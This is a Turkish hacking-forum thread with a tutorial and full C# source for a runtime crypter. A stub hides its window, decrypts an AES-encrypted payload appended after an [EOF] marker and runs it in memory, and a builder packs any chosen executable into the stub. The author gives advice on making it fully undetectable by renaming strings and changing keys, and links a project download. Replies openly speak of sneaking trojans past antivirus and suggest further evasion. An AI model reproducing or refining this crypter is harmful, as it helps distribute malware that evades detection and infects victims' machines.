C# Crypter Yapımı

Patrick Jane

Uzman üye
1 May 2019
1,499
3
Cehennem
Merhaba , bu konumda C# ile Runtime crypter yapacağız.
Fud yada Ud yapabilmeniz için string ve byte değerlerinin adlarını , algoritmayı , ve eof adını değiştirebilirsiniz.
Yada daha farklı mantık deneyebilirsiniz , mesela şifrelenmiş byteları eof olarak stubın sonuna eklemek yerine stuba string olarak
kaydedebilirsiniz.



İlk olarak Stubı hazırlayacağım. Bunun için yeni bir konsol projesi açıyorum.
Kod:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Reflection;

namespace Patrick_Jane_Crypter_Stub
{
	class Program
	{
		[DllImport("user32.dll")]
		static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);//Konsol ekranının gözükmemesi için dll import ediyoruz.
		static **** Main(string[] args)
		{
                        ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
			RijndaelManaged rijAlg = new RijndaelManaged();//Yeni rijndael managed oluşturduk.
			rijAlg.Key = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");//Key belirliyoruz 16 bit uzunlukta
			rijAlg.IV = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");// IV belirliyoruz 16 bit uzunlukta
			ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV);// yeni ıcrypto transform oluşturuyoruz.
			
			MemoryStream msDecrypt = new MemoryStream();
			CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Write);//crypto stream oluşturup içine 
                       // türünü yazıcağımız için write olarak belirliyoruz.
			


			string file = File.ReadAllText(Environment.CurrentDirectory + "\\" + AppDomain.CurrentDomain.FriendlyName.Replace(".vshost", ""));
			
			if (file.Contains("[EOF]"))// if değeri oluşturuyoruz eğer stubın sonunda [EOF] adlı ayraç varsa kodları çalıştırcak eğer yoksa //kapancak
			{
				byte[] base64 = Convert.FromBase64String(file.Substring(file.IndexOf("[EOF]") + "[EOF]".Length));//[EOF] ayracından sonra gelen yazıları yani şifrelenmiş kodları base64 olarak çözcek.

				csDecrypt.Write(base64, 0, base64.Length);//base64 ile çözdüğümüz kodları bu sefer tekrar belirlediğimiz iv ve key ile çözecek //ve memory stream e yazdırcak.
				csDecrypt.Close();//işimiz bittiği için kapatıyoruz.

				Assembly asm = Assembly.Load(msDecrypt.ToArray());//çözülmüş olan kodları memory steamden alıp bellekte çalıştırcak.
				asm.EntryPoint.Invoke(null, null);
			}
		}
	}
}


Stubı hazırladık şimdi sıra builderda.
Aslında ben ilk builder yapıp sonra stubı yaparım ama burda böyle anlatmayı tercih ettim :)


Builder
Kod:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Security.Cryptography;


namespace Patrick_Jane_Crypter_Builder
{
	public partial class Form1 : Form
	{
		public Form1()
		{
			InitializeComponent();
		}

		private **** Form1_Load(object sender, EventArgs e)
		{

		}

		private **** button1_Click(object sender, EventArgs e)
		{
			OpenFileDialog server = new OpenFileDialog();// open file dialog oluşturup sadece exe seçmesini sağlıyoruz.
			server.Filter = "Exe | *.exe";                                   // bu arada serveri seçiyoruz burda
			if (server.ShowDialog() == DialogResult.OK) // eğer seçerse dosyanın yolu textbox1 e yazdırılcak.
				textBox1.Text = server.FileName;   //
		}

		private **** button2_Click(object sender, EventArgs e)
		{
			OpenFileDialog stub = new OpenFileDialog();// yeni bir open file olarak daha oluşturuyoruz ve sadece exe seçmesini sağlıyoruz.
			stub.Filter = "Exe | *.exe";                                   //stubı seçiyoruz.
			if (stub.ShowDialog() == DialogResult.OK)  // eğer seçerse dosya yolu textbox2 e yazdırılcak.
				textBox2.Text = stub.FileName;
		}

		private **** button3_Click(object sender, EventArgs e)
		{
			byte[] server = File.ReadAllBytes(textBox1.Text); // textbox1 deki dosyanın bytelarını okuyoruz.
			RijndaelManaged rijAlg = new RijndaelManaged(); // yeni rijndael managed oluşturuyoruz.
			rijAlg.Key = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");//16 bit uzunlukta key seçiyoruz.
			rijAlg.IV = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");//16 bit uzunlukta iv seçiyoruz.
			ICryptoTransform encryptor = rijAlg.CreateEncryptor(rijAlg.Key, rijAlg.IV); 
			MemoryStream msEncrypt = new MemoryStream();
			CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write);//crypto stream oluşturuyoruz
// yazdırcağımız için modu write olarak seçiyoruz.			
			csEncrypt.Write(server, 0,server.Length);//okduğumuz dosyanın bytelarını şifreliyoruz ve memory streame yazdırıyoruz.
			csEncrypt.Close();//işimiz bittiği için kapatıyoruz.
			string base64 = Convert.ToBase64String(msEncrypt.ToArray());//şifrelenmiş kodları base64 ile tekrar şifreleyip düzenli hale //gelmesini sağlıyoruz.
			File.AppendAllText(textBox2.Text, "[EOF]" + Convert.ToBase64String(msEncrypt.ToArray()));//textbox2 deki seçtiğimiz olan stubın
// sonuna [EOF] adlı ayraç koyuyor ve base64 ile şifrelediğimiz kodları [EOF]'un sonrasına koyuyor.





		}

		
	}
}
Sansürlenmiş yerlerde "v0id" yazıyor.0 yerine o gelcek.
Stub projesinde konsolu kapatmayı unutmuşum :D
Rijndael Managed'ın önceki satırına "ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);" ekleyin.
Valla basitçe anlattım.
Fud yada Ud yapabilmeniz için string , byte adlarını ve algoritmayı değiştirmeniz gerekmekte ve key ve iv yi de kesin olarak
değiştirmeniz
gerekmekte.
Stubı taratmadım çünkü zaten antiler tarafından çok algılanacaktır nedeni bu string ve byte adları ile milyonlarca crypter
oluşturulmuştur.
Hatam varsa belirtirseniz sevinirim.
PROJE LİNKİhttps://www.dosya.tc/server31/oulcok/Patrick_Jane_Crypter.zip.html
 
Son düzenleme:

x4807

Katılımcı Üye
10 Ağu 2019
985
17
Baya sağlam konu eline sağlık patrick. Kodlarda bazı yerler sansürlenmiş onlara bakarsın .))
 

maj344

Katılımcı Üye
25 Şub 2019
277
2
Eline sağlık ben olsam win32 API'ını Japt'a portlayıp Japt'ta yazardım. Bu sayede USDFUD olurdu.
 

maj344

Katılımcı Üye
25 Şub 2019
277
2
neden si++++

yani en mantiklisi si++++ mi?

Dostum bir üstteki postu okumanı öneririm. Dediğim gibi en mantıklı çözüm Japt'tır bu ve bunun gibi işlerde. Programda bir Japt interpreter'ı implement edilir ve yazılan kod hard-coded olarak programa gömülür. Bu şekilde antiler çok afedersiniz öküzün trene baktığı gibi bakarlar. Sizler de trojan'i yedirmenin mutluluğunu yaşarsınız.
 

MendeburMarul

Katılımcı Üye
17 Haz 2020
659
0
Andromeda
Dostum bir üstteki postu okumanı öneririm. Dediğim gibi en mantıklı çözüm Japt'tır bu ve bunun gibi işlerde. Programda bir Japt interpreter'ı implement edilir ve yazılan kod hard-coded olarak programa gömülür. Bu şekilde antiler çok afedersiniz öküzün trene baktığı gibi bakarlar. Sizler de trojan'i yedirmenin mutluluğunu yaşarsınız.

Katiliyorum.
 

Dolyetyus

Özel Üye
21 Nis 2020
1,208
3
677
Delft
Elinize sağlık hocam amma ve lakin bu crypterı keşke bu kadar açık koymasaydınız, patlaması en fazla bir kaç saat sürer. Tabi eğer zaten patladıysa, çok iyi bir örnek olmuş öğretme açısından. Not: Tam olarak dikkatli okumamışım, zaten çoğu ihtimalle patlamıştır.
 
Son düzenleme:

Patrick Jane

Uzman üye
1 May 2019
1,499
3
Cehennem
Eline sağlık. sadece C# ile yazılmış virüsleri mi crypt ediyor?

.NET dillerini.
Sadece nasıl yapıldığını basitçe anlattım geliştirebilirsin.
Diğer diller için API kullanmak lazım.

Elinize sağlık hocam amma ve lakin bu crypterı keşke bu kadar açık koymasaydınız, patlaması en fazla bir kaç saat sürer. Tabi eğer zaten patladıysa, çok iyi bir örnek olmuş öğretme açısından. Not: Tam olarak dikkatli okumamışım, zaten çoğu ihtimalle patlamıştır.

Hocam burda olay patlaması yada patlamaması değil.
Öğretmek amaçlı nerde ne var neden var onları basitçe anlattım.
İsteyen kaynak kodlarında değişiklik yapıp kullanabilsin diye proje dosyasını koydum.
 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.